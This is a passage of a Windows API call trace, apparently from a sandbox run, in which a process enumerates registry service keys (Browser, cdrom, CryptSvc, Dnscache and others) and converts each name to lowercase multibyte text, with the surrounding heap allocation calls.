[0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0239.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0239.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0239.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0239.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0239.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0239.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0239.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0239.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0239.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0239.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: 